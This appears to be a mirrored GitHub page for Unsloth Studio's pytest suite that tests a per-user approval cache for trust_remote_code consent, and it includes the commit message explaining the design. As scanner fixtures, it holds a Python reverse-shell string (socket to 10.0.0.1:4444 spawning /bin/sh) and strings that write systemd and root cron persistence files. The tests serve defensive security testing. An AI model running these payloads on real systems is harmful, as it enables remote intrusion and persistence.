mirror of
https://github.com/unslothai/unsloth.git
synced 2026-07-10 00:08:58 +00:00
* Studio: persistent per-user trust_remote_code approval cache The consent gate pins each approval to a content fingerprint (sha256 over every repo .py), but nothing was persisted, so the dialog reappeared on every fresh load of the same unchanged repo. This adds an on-disk, per-user approval cache that lets the gate skip the dialog when the same user reloads the same code, while keeping the safety guarantees intact. Two-tier validation, both must hold or the user is re-prompted: - Commit SHA (cheap, one HfApi.model_info().sha, no download): a match means a byte-identical tree to the approved revision, so the scan/download is skipped. - Content fingerprint (authoritative): used whenever the SHA is unavailable (local path / offline) and always recomputed on a SHA miss. A new or edited .py changes both the SHA and the fingerprint, so it is caught in every mode. Safety: - Keyed per subject; one user's approval never auto-runs code for another. - CRITICAL is never stored or honored (guarded on both write and read), so a hand-edited store cannot smuggle in an auto-approval. - The malware (HF unsafe-file) gate stays unconditional. - Fail-safe: a corrupt store, an unresolvable SHA, or any error degrades to "ask again", never to "auto-approve". UNSLOTH_TRC_APPROVAL_CACHE_DISABLE=1 turns the cache off entirely. New module utils/security/remote_code_approvals.py holds the store (studio_root()/security/remote_code_approvals.json, atomic write, 0600, RLock) plus the SHA resolvers. Recording happens at the single gate chokepoint when the caller supplies the matching fingerprint, so subject is just threaded through inference/training/export (orchestrators, routes, workers). The scan endpoint returns already_approved so the frontend can skip the dialog on a cache hit. Tests: new tests/test_trc_approval_cache.py covers cache miss, SHA-match skip, SHA-moved re-scan, new-file re-consent, CRITICAL never cached (write + forged read), disable flag, subject isolation, combined adapter+base key, corrupt store, and no-subject bypass. Full security suite: 101 passed. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: make the approval cache skip only the prompt, never the scan Codex found that the SHA "no-scan" fast path could run untrusted code without re-consent. Removed it; the gate now always re-scans and the cache only seeds the authoritative fingerprint check, so it can skip the dialog but never the scan. - CRITICAL is hard-blocked on every load (the scan always runs), so a hand-edited store that downgrades a CRITICAL repo's severity can no longer auto-run it (P2: do not trust editable severity for SHA approvals). - The fingerprint covers external auto_map repos, so changed third-party code always re-prompts even when the primary commit SHA is unchanged; there is no longer a SHA path that bypasses the fingerprint (P1: external auto_map repos). - resolve_commit_sha is resolved fresh on every call (no memoization), so a repo whose default branch moves after approval re-prompts instead of reusing a stale cached SHA (P1: revalidate mutable Hub SHAs). The SHA is now only a conservative secondary gate: a fresh resolvable SHA must match the approved revision, else the seed is withheld; a None (local/offline) falls back to the fingerprint. - Approvals record the scanner ruleset version (SCAN_RULES_VERSION); the gate ignores approvals from an older ruleset so reclassified bytes are re-scanned and re-shown instead of silently auto-approved (P2: invalidate on scan-policy change). Tests: test_trc_approval_cache.py rewritten around the prompt-skip semantics (unchanged repo still scans; SHA move / changed code / scanner-version bump / disable flag all re-prompt; forged downgraded severity still blocks CRITICAL). 105 passed with test_consent_gate.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Trim comments to be more succinct * Keep run-owner subject out of persisted config; serialize approval writes Threading subject (the run owner's username / API-key id) into the training config meant _sanitize_db_config persisted it into config_json, which training-history GET returns to any authenticated user, leaking who started a run in multi-user installs. Filter subject alongside the token fields; the worker still receives it from the live config. The approval store's RLock only guards one process, but approvals are recorded from separate inference/export/training subprocesses, so concurrent writers could clobber each other on os.replace and drop an approval (re-prompt). Hold a best-effort cross-process file lock around the read-modify-write. * Fail safe on a malformed approval store A store with the right version but a non-dict shape (e.g. a hand-edited "subjects": []) passed _load()'s check, then lookup chained .get() on a list and raised, breaking every remote-code load until the file was removed. Validate that subjects is a dict in _load(), and tolerate a non-dict per-subject entry in lookup/record/forget, so a corrupt store fails safe (re-prompt) instead. * Keep subject out of the MLX W&B run config _run_mlx_training uploads the whole training config to W&B minus a sensitive set that only listed hf_token/wandb_token/s3_config, so the authenticated subject (username / API-key id) was sent to W&B as run config even though DB history already strips it. Add subject to the W&B-sensitive filter, mirroring training._sanitize_db_config. * Tighten the W&B subject-filter comment --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
308 lines
12 KiB
Python
308 lines
12 KiB
Python
# SPDX-License-Identifier: AGPL-3.0-only
|
|
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
|
|
|
"""Tests for the persistent per-user trust_remote_code approval cache.
|
|
|
|
The cache skips only the DIALOG, never the scan: every load re-scans (CRITICAL always
|
|
blocked), and a stored approval just seeds the authoritative fingerprint check. The scanner
|
|
and fingerprint run for real; only the config/file fetch and commit-SHA lookup are stubbed.
|
|
"""
|
|
|
|
import pytest
|
|
|
|
import utils.security.consent as consent
|
|
import utils.security.remote_code_approvals as approvals
|
|
from utils.security import evaluate_remote_code_consent_for_targets
|
|
|
|
# HIGH (approvable) is the interesting case: benign code never prompts and CRITICAL is never
|
|
# approvable, so the cache that skips the prompt only matters for blockable-but-approvable.
|
|
_HIGH = {
|
|
"modeling_persist.py": (
|
|
"open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
|
|
)
|
|
}
|
|
_HIGH2 = { # a different HIGH payload -> different fingerprint
|
|
"modeling_persist.py": ("open('/etc/cron.d/x', 'w').write('* * * * * root sh -c id')\n")
|
|
}
|
|
_CRITICAL = {
|
|
"modeling_evil.py": (
|
|
"import socket, subprocess, os\n"
|
|
"s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
|
|
"os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
|
|
)
|
|
}
|
|
|
|
|
|
@pytest.fixture(autouse = True)
|
|
def _isolated_store(tmp_path, monkeypatch):
|
|
"""Point the store at a tmp file and start each test with a clean cache."""
|
|
monkeypatch.setattr(approvals, "_store_path", lambda: tmp_path / "approvals.json")
|
|
monkeypatch.delenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", raising = False)
|
|
yield
|
|
|
|
|
|
def _patch_scan(
|
|
monkeypatch,
|
|
files,
|
|
sha = "sha1",
|
|
):
|
|
"""Stub the gate's scanners and the SHA resolver; return a {'scans': n} counter."""
|
|
state = {"scans": 0}
|
|
|
|
def _files(target, hf_token = None):
|
|
state["scans"] += 1
|
|
return dict(files)
|
|
|
|
monkeypatch.setattr(consent, "_config_has_auto_map", lambda *a, **k: True)
|
|
monkeypatch.setattr(consent, "repo_remote_code_files", _files)
|
|
monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: sha)
|
|
return state
|
|
|
|
|
|
def _gate(
|
|
targets,
|
|
*,
|
|
approved = None,
|
|
subject = "user-a",
|
|
):
|
|
return evaluate_remote_code_consent_for_targets(
|
|
targets if isinstance(targets, list) else [targets],
|
|
None,
|
|
trust_remote_code = True,
|
|
approved_fingerprint = approved,
|
|
subject = subject,
|
|
)
|
|
|
|
|
|
def _approve(
|
|
monkeypatch,
|
|
target = "org/m",
|
|
files = _HIGH,
|
|
sha = "sha1",
|
|
subject = "user-a",
|
|
):
|
|
"""Drive a genuine approval (scan -> user supplies the matching fingerprint -> record)."""
|
|
st = _patch_scan(monkeypatch, files, sha = sha)
|
|
fp = _gate(target, subject = subject).fingerprint # blocked: no approval yet
|
|
_gate(target, approved = fp, subject = subject) # explicit approval -> recorded
|
|
return st, fp
|
|
|
|
|
|
# --- store API ---------------------------------------------------------------
|
|
|
|
|
|
def test_store_roundtrip_and_forget():
|
|
approvals.record(
|
|
"u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH", scanner_version = 1
|
|
)
|
|
got = approvals.lookup("u", "k")
|
|
assert got is not None and got.fingerprint == "f" and got.scanner_version == 1
|
|
approvals.forget("u", "k")
|
|
assert approvals.lookup("u", "k") is None
|
|
|
|
|
|
def test_file_lock_acquires_releases_and_reacquires():
|
|
# Used around every store write; must acquire, release, and be re-acquirable (no leak).
|
|
with approvals._file_lock():
|
|
pass
|
|
with approvals._file_lock():
|
|
pass
|
|
|
|
|
|
def test_concurrent_records_do_not_lose_entries():
|
|
# Many writers recording different keys must all survive the read-modify-write; the file
|
|
# lock + re-read serialize them so none clobbers another (cross-process race fix).
|
|
import threading
|
|
|
|
def rec(i):
|
|
approvals.record("u", f"k{i}", commit_sha = "s", fingerprint = f"f{i}", max_severity = "HIGH")
|
|
|
|
threads = [threading.Thread(target = rec, args = (i,)) for i in range(20)]
|
|
for t in threads:
|
|
t.start()
|
|
for t in threads:
|
|
t.join()
|
|
for i in range(20):
|
|
assert approvals.lookup("u", f"k{i}") is not None
|
|
|
|
|
|
def test_combined_sha_none_when_any_unresolvable(monkeypatch):
|
|
monkeypatch.setattr(
|
|
approvals, "resolve_commit_sha", lambda t, hf = None: None if t == "org/base" else "s"
|
|
)
|
|
assert approvals.resolve_combined_sha(["org/a", "org/base"]) is None
|
|
assert approvals.resolve_combined_sha(["org/a"]) is not None
|
|
|
|
|
|
def test_resolve_commit_sha_local_and_offline_are_none(monkeypatch):
|
|
monkeypatch.setattr("utils.paths.is_local_path", lambda t: t.startswith("/"))
|
|
assert approvals.resolve_commit_sha("/local/model") is None
|
|
monkeypatch.setattr(approvals, "_env_offline", lambda: True)
|
|
assert approvals.resolve_commit_sha("org/remote") is None
|
|
|
|
|
|
def test_corrupt_store_is_ignored_then_rewritten():
|
|
store = approvals._store_path()
|
|
store.parent.mkdir(parents = True, exist_ok = True)
|
|
store.write_text("{ not valid json")
|
|
assert approvals.lookup("u", "k") is None # no raise
|
|
approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH")
|
|
assert approvals.lookup("u", "k") is not None # valid file rewritten
|
|
|
|
|
|
def test_malformed_store_shape_fails_safe():
|
|
# Valid JSON + version but a non-dict shape (hand-edited) must fail safe (re-prompt),
|
|
# never crash lookup/record/forget.
|
|
store = approvals._store_path()
|
|
store.parent.mkdir(parents = True, exist_ok = True)
|
|
for bad in ('{"version": 1, "subjects": []}', '{"version": 1, "subjects": {"u": []}}'):
|
|
store.write_text(bad)
|
|
assert approvals.lookup("u", "k") is None # no raise
|
|
approvals.forget("u", "k") # no raise
|
|
approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH")
|
|
assert approvals.lookup("u", "k") is not None # store healed
|
|
|
|
|
|
# --- gate integration: the cache skips the prompt, never the scan ------------
|
|
|
|
|
|
def test_cache_miss_prompts(monkeypatch):
|
|
_patch_scan(monkeypatch, _HIGH)
|
|
d = _gate("org/m")
|
|
assert d.blocked is True and d.approvable is True
|
|
assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None
|
|
|
|
|
|
def test_unchanged_repo_skips_prompt_but_still_scans(monkeypatch):
|
|
st, _ = _approve(monkeypatch)
|
|
before = st["scans"]
|
|
d = _gate("org/m") # SHA + fingerprint match -> auto-approve, but the scan still runs
|
|
assert d.blocked is False and d.reason == "approved by fingerprint"
|
|
assert st["scans"] == before + 1 # cache never skips the scan
|
|
|
|
|
|
def test_sha_moved_forces_reprompt(monkeypatch):
|
|
_approve(monkeypatch, sha = "sha1")
|
|
monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: "sha2")
|
|
d = _gate("org/m") # SHA moved -> seed withheld -> re-prompt even though code is identical
|
|
assert d.blocked is True
|
|
|
|
|
|
def test_local_offline_uses_fingerprint_only(monkeypatch):
|
|
# SHA unresolvable (local/offline): the fingerprint alone governs, so unchanged code
|
|
# still auto-approves.
|
|
_approve(monkeypatch, sha = None)
|
|
d = _gate("org/m")
|
|
assert d.blocked is False and d.reason == "approved by fingerprint"
|
|
|
|
|
|
def test_changed_code_same_sha_reprompts(monkeypatch):
|
|
# Even with the primary SHA unchanged, changed executable code (e.g. an external
|
|
# auto_map repo) changes the fingerprint, so the dialog returns.
|
|
_approve(monkeypatch, files = _HIGH, sha = "sha1")
|
|
monkeypatch.setattr(consent, "repo_remote_code_files", lambda t, hf_token = None: dict(_HIGH2))
|
|
d = _gate("org/m")
|
|
assert d.blocked is True
|
|
|
|
|
|
def test_scanner_version_change_invalidates(monkeypatch):
|
|
_approve(monkeypatch) # recorded under the current SCANNER_VERSION
|
|
monkeypatch.setattr(approvals, "SCANNER_VERSION", approvals.SCANNER_VERSION + 1)
|
|
d = _gate("org/m") # ruleset changed -> stored approval ignored -> re-prompt
|
|
assert d.blocked is True
|
|
|
|
|
|
def test_critical_is_never_recorded(monkeypatch):
|
|
_patch_scan(monkeypatch, _CRITICAL)
|
|
fp = _gate("org/m").fingerprint
|
|
d = _gate("org/m", approved = fp) # CRITICAL is not approvable
|
|
assert d.blocked is True and d.approvable is False
|
|
assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None
|
|
|
|
|
|
def test_forged_critical_store_entry_is_refused(monkeypatch):
|
|
_patch_scan(monkeypatch, _CRITICAL)
|
|
key = approvals.approval_target_key(["org/m"])
|
|
approvals._save(
|
|
{
|
|
"version": 1,
|
|
"subjects": {
|
|
"user-a": {
|
|
key: {
|
|
"commit_sha": "org/m=sha1",
|
|
"fingerprint": "x",
|
|
"max_severity": "CRITICAL",
|
|
"scanner_version": approvals.SCANNER_VERSION,
|
|
"approved_at": "t",
|
|
}
|
|
}
|
|
},
|
|
}
|
|
)
|
|
assert approvals.lookup("user-a", key) is None # read guard refuses CRITICAL
|
|
assert _gate("org/m").blocked is True # scan still runs and blocks
|
|
|
|
|
|
def test_forged_downgraded_severity_still_blocks_critical(monkeypatch):
|
|
# The store is editable JSON: forge a non-CRITICAL severity + the real fingerprint/SHA
|
|
# for code that is actually CRITICAL. The scan still runs every load, so CRITICAL is
|
|
# hard-blocked regardless of what the store claims.
|
|
st = _patch_scan(monkeypatch, _CRITICAL, sha = "sha1")
|
|
fp = _gate("org/m").fingerprint
|
|
key = approvals.approval_target_key(["org/m"])
|
|
approvals._save(
|
|
{
|
|
"version": 1,
|
|
"subjects": {
|
|
"user-a": {
|
|
key: {
|
|
"commit_sha": approvals.resolve_combined_sha(["org/m"]),
|
|
"fingerprint": fp,
|
|
"max_severity": "HIGH", # forged downgrade
|
|
"scanner_version": approvals.SCANNER_VERSION,
|
|
"approved_at": "t",
|
|
}
|
|
}
|
|
},
|
|
}
|
|
)
|
|
before = st["scans"]
|
|
d = _gate("org/m")
|
|
assert d.blocked is True and d.approvable is False
|
|
assert st["scans"] == before + 1 # scanned despite the forged approval
|
|
|
|
|
|
def test_disable_flag_bypasses_cache(monkeypatch):
|
|
_approve(monkeypatch)
|
|
monkeypatch.setenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "1")
|
|
d = _gate("org/m") # cache off -> no seed -> re-prompt
|
|
assert d.blocked is True
|
|
|
|
|
|
def test_subject_isolation(monkeypatch):
|
|
_approve(monkeypatch, subject = "user-a")
|
|
assert _gate("org/m", subject = "user-a").blocked is False # a: seeded -> auto-approve
|
|
assert _gate("org/m", subject = "user-b").blocked is True # b: still prompted
|
|
|
|
|
|
def test_combined_lora_key(monkeypatch):
|
|
targets = ["org/adapter", "org/base"]
|
|
_approve(monkeypatch, target = targets)
|
|
assert _gate(targets).blocked is False # combined key seeded
|
|
assert _gate(["org/adapter"]).blocked is True # adapter-only key misses
|
|
|
|
|
|
def test_no_subject_disables_cache(monkeypatch):
|
|
st = _patch_scan(monkeypatch, _HIGH)
|
|
fp = evaluate_remote_code_consent_for_targets(
|
|
["org/m"], None, trust_remote_code = True, subject = None
|
|
).fingerprint
|
|
evaluate_remote_code_consent_for_targets(
|
|
["org/m"], None, trust_remote_code = True, approved_fingerprint = fp, subject = None
|
|
)
|
|
assert approvals.lookup("", approvals.approval_target_key(["org/m"])) is None
|
|
# No subject -> nothing seeded -> still blocked next time.
|
|
d = evaluate_remote_code_consent_for_targets(
|
|
["org/m"], None, trust_remote_code = True, subject = None
|
|
)
|
|
assert d.blocked is True
|